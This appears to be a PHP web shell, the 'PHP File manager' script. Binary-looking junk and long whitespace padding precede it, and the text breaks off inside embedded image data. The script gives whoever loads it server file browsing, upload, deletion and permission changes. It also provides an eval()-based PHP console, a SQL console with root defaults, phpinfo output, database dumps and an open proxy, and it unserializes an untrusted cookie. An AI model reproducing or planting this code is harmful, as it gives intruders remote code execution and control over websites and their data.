(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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